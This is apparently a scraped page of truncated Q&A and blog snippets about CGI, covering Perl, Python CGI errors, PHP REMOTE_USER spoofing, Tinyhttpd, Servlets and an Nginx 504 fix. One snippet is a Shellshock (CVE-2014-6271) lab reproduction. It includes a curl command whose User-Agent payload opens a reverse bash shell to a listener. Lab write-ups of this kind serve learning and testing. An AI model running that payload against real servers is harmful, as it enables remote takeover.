cgi

Perl in Web Development [closed]

瘦欲@ 提交于 2020-01-23 05:57:47
问题 As it currently stands, this question is not a good fit for our Q&A format. We expect answers to be supported by facts, references, or expertise, but this question will likely solicit debate, arguments, polling, or extended discussion. If you feel that this question can be improved and possibly reopened, visit the help center for guidance. Closed 8 years ago . I have heard a lot about using Perl in web development for CGI scripts but are they still widely used today? From a development (Not

Display python script output to HTML page

谁都会走 提交于 2020-01-23 03:52:04
问题 I have this hello_world.py script which takes username and password and prints user information. Separately the python executes without any error. But, when I submit from HTML the html page gives internal server 500 error. I have added executable permission to script in file system, in httpd.conf. But, I am not sure why this is not executing when I provide submit. Thanks for suggestions and help. <form action="/cgi-bin/hello_world.py" method="post"> IP Address: <input type="text" name="user

Can $_SERVER['REMOTE_USER'] be spoofed?

放肆的年华 提交于 2020-01-22 19:51:06
问题 I have a situation where I am opening a file based on the $_SERVER['REMOTE_USER'] variable. I don't think this is spoof-able but would just like to confirm. I do not want to make myself vulnerable to the reading of arbitrary files: <? $user = $_SERVER['REMOTE_USER']; $fp = fopen("./$user.png","r"); ?> 回答1: Yes, that username is whatever is specified by the remote user. You need to verify password as well. If password is verified by your server, and not your application, then you are probably

CGI做中文处理时的问题!

让人想犯罪 __ 提交于 2020-01-20 03:59:50
#include <stdio.h> #include <stdlib.h> int main(void) { unsigned int i=0,max=30; char* dest; dest=(char*)malloc(max); if(!dest)exit (1); printf("input your code string: "); while((dest[i]=getchar())=='%') { if((dest[++i] =getchar()) >= 'A') dest[i] = ((dest[i] & 0xdf) - 'A') + 10; else dest[i] = dest[i] - '0'; if((dest[++i] =getchar()) >= 'A') dest[i] = ((dest[i] & 0xdf) - 'A') + 10; else dest[i] = dest[i] - '0'; dest[i/3]=dest[i]+dest[i-1]*16; i++; if(i==max) { max+=max; dest=(char*)realloc(dest,max); if(!dest) exit(1); } } dest[i/3]='\0'; printf("this decode string is:%s\n",dest); free(dest)

Tinyhttpd源码分析——超轻量级的HTTP服务器

倾然丶 夕夏残阳落幕 提交于 2020-01-18 05:13:11
前言 T inyhttpd是一个不到500行的超轻量 级的 Http Server, 通过阅读这里面的源码,可以帮助大家理解服务器程序的本质。这个项目比较适合刚学习Linux服务器开发或刚学网络编程的人,因为整个项目所涉及到的知识并不多。这里面的知识点不多,但是有几个小知识若是要细究的话,还是可以发现很多问题的。 下载地址: http://sourceforge.net/projects/tinyhttpd/ https://github.com/EZLippi/Tinyhttpd 源码阅读顺序: main -> startup -> accept_request -> execute_cgi, 了解 主要工作流程后再仔细把每个函数看一看。 工作流程 : (1) 服务器启动,在指定端口或随机选取端口绑定httpd服务。 (2) 收到一个HTTP请求时 ( 其实就是listen的端口accpet的时候 ) , 创建 一个线程运行accept_request函数。 (3) 取出HTTP请求中的method (GET或POST)和url。对于GET方法,如果有携带参数,则 query_string指针指向url中?后面的GET参数。 (4) 格式化url到path数组,表示浏览器请求的服务器文件路径,在tinyhttpd中服务器文件是在htdocs文件夹下。当url以 / 结尾

CVE-2014-6271漏洞复现

…衆ロ難τιáo~ 提交于 2020-01-16 16:41:27
0x00 前言 要是平时我肯定不会想打去复现这个漏洞的,但是由于需要学习shellshock漏洞的利用,所以这里可以进行一下复现 0x01 正文 这里直接使用别人弄好的docker,简单又方便 docker pull hmlio/vaas-cve-2014-6271 下载完成之后,开启docker docker run -d -p 80:80 hmlio/vaas-cve-2014-6271 访问目标页面 这里还需要知道一个路劲,直接dirb 这里接着对cgi-bin进行一个爆破 最后拿到目标 执行payload: curl -A “() { :; }; /bin/bash -i > /dev/tcp/192.168.25.165/2333 0<&1 2>&1” http://192.168.25.178/cgi-bin/stats 这里不使用msf因为oscp 规定msf只能使用一次来着(我隐约记得) kali监听就行 来源: CSDN 作者: Bubble_zhu 链接: https://blog.csdn.net/qq_36869808/article/details/104005219

[Servlet] 初识Servlet

好久不见. 提交于 2020-01-16 16:08:58
目录 什么是Servlet?   定义   功能 Java Web 开发的发展历程   静态网页技术   动态网页技术 Servlet 生命周期   init () 方法   service() 方法   doGet()方法   doPost()方法   destroy() 方法 Servlet 之 Hello World   环境设置   Hello World 实例 参考资料 什么是Servlet? 定义 Servlet 的全称是 Server Applet ,顾名思义,就是用 Java 编写的服务器端程序 。 Servlet 是一个 Java Web开发标准,狭义的Servlet是指Java语言实现的一个接口,广义的Servlet是指任何实现了这个Servlet接口的类,一般情况下,人们将Servlet理解为后者。 功能 其主要功能在于:交互式地浏览和修改数据,生成动态Web内容。 Java Web 应用程序中所有的请求-响应都是由 Servlet 来完成的。Servlet 并没有 Java Web 开发的发展历程 Web 开发技术主要是从 静态网页技术 到 动态网页技术 的变迁。 由于本文主要介绍 Java Web 开发技术,所以对其他语言的 Web 技术不做介绍。 Java Web 开发的大致发展历程如下:静态HTML –> CGI –> Servlet –> JSP

Undefined subroutine &Db::connection called

百般思念 提交于 2020-01-16 11:57:29
问题 I want to insert data in database using perl &CGI but i have the following error : Undefined subroutine &Db::connection called at C:/wamp/bin/apache/apache2.2.22/cgi-bin/test.pl line 13. test.pl sub change{ my $Data = { table =>'student', action => 'insert', data => { Name => 'LL', Surname => 'GG', Age => '20' } }; return Db::update($Data); }; sub test { my $Data = { table =>'student', action => 'insert', data => { Name => 'LL', Surname => 'GG', Age => '20' }, }; return Db::insert($Data); };

Nginx报504 gateway timeout错误的解决方法

自作多情 提交于 2020-01-16 05:06:31
提供给客户的bs软件,有一个导出报表的功能,经常性的报504错误 最近在工作中,需要做Excel导入的功能,由于Excel的数据比较多,而且我们的服务端程序需要对数据的内容做校验,会调用很多的外部服务接口,所以毫无悬念的导入Excel接口调用超过了一分钟,并且报错:504 gateway timeout。以下是两种解决思路: 优化业务代码 一个接口调用超过一分钟,一定有可以优化的地方,看看数据库或者接口的调用是否合理,是否可以合并请求。 修改Nginx的服务器配置 如果实在是优化不了了,可以把Nginx的超时时间上调。 看看时间是否符合要求,在nginx.config里面的三个参数: fastcgi_connect_timeout 300; fastcgi_send_timeout 300; fastcgi_read_timeout 300; 以上的单位是秒。 如果使用了Nginx的代理,可以在块里加上: proxy_connect_timeout 300s; proxy_send_timeout 300s; proxy_read_timeout 300s; 变成: location /foo { proxy_pass http://xxx.xxx.xxx.xxx:8080/foo; proxy_set_header Host $host; proxy_set_header X

How to download a file in Python (Jinja2) on-click Export button?

我怕爱的太早我们不能终老 提交于 2020-01-15 06:56:26
问题 I have a button export : <button class="aptButton" formaction="/export/" type="submit">export</button> and I have this in the /export/ index.cgi #! /apollo/sbin/envroot $ENVROOT/bin/python # -*- coding: utf-8 -*- import cgitb cgitb.enable() import cgi def main(): print "Content-Type: text/html" print form = cgi.FieldStorage() results = helpers.getResults() environment = helpers.get_environment() print environment.get_template('export.html').render( results = results) main() and I have this in